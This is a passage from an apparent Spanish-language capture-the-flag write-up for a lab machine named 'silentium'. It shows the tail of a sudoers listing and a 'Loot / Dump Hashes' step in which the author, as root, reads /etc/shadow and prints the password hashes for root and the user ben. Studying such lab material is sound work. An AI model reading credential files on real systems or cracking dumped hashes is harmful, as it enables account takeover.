root ALL=(ALL:ALL) ALL
ben ALL=(ALL:ALL) ALL
%sudo ALL=(ALL:ALL) ALL
@includedir /etc/sudoers.droot@silentium:~#
|
Loot
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
root@silentium:~# cat /etc/shadow
root:$y$j9T$ZiVbnjU.1mwoiXH85J8Ba0$peiSP20P.eeOLeJFK1p9Dv1RJ9Z3yZxNh0gziAF9wR0:20482:0:99999:7:::
daemon:*:20135:0:99999:7:::
bin:*:20135:0:99999:7:::
sys:*:20135:0:99999:7:::
sync:*:20135:0:99999:7:::
games:*:20135:0:99999:7:::
man:*:20135:0:99999:7:::
lp:*:20135:0:99999:7:::
mail:*:20135:0:99999:7:::
news:*:20135:0:99999:7:::
uucp:*:20135:0:99999:7:::
proxy:*:20135:0:99999:7:::
www-data:*:20135:0:99999:7:::
backup:*:20135:0:99999:7:::
list:*:20135:0:99999:7:::
irc:*:20135:0:99999:7:::
_apt:*:20135:0:99999:7:::
nobody:*:20135:0:99999:7:::
systemd-network:!*:20135::::::
systemd-timesync:!*:20135::::::
messagebus:!:20135::::::
systemd-resolve:!*:20135::::::
pollinate:!:20135::::::
polkitd:!*:20135::::::
syslog:!:20135::::::
uuidd:!:20135::::::
tcpdump:!:20135::::::
tss:!:20135::::::
landscape:!:20135::::::
fwupd-refresh:!*:20135::::::
usbmux:!:20178::::::
sshd:!:20178::::::
_laurel:!:20178::::::
ben:$y$j9T$ZXCNHkH0gUjRxBD6m1PWY0$YGEBpvsiBytpat6cZZ1IXH0g6vRSGKcvb5FIBc1qkLA:20482:0:99999:7:::
dnsmasq:!:20482::::::
dhcpcd:!:20551::::::
root@silentium:~#
|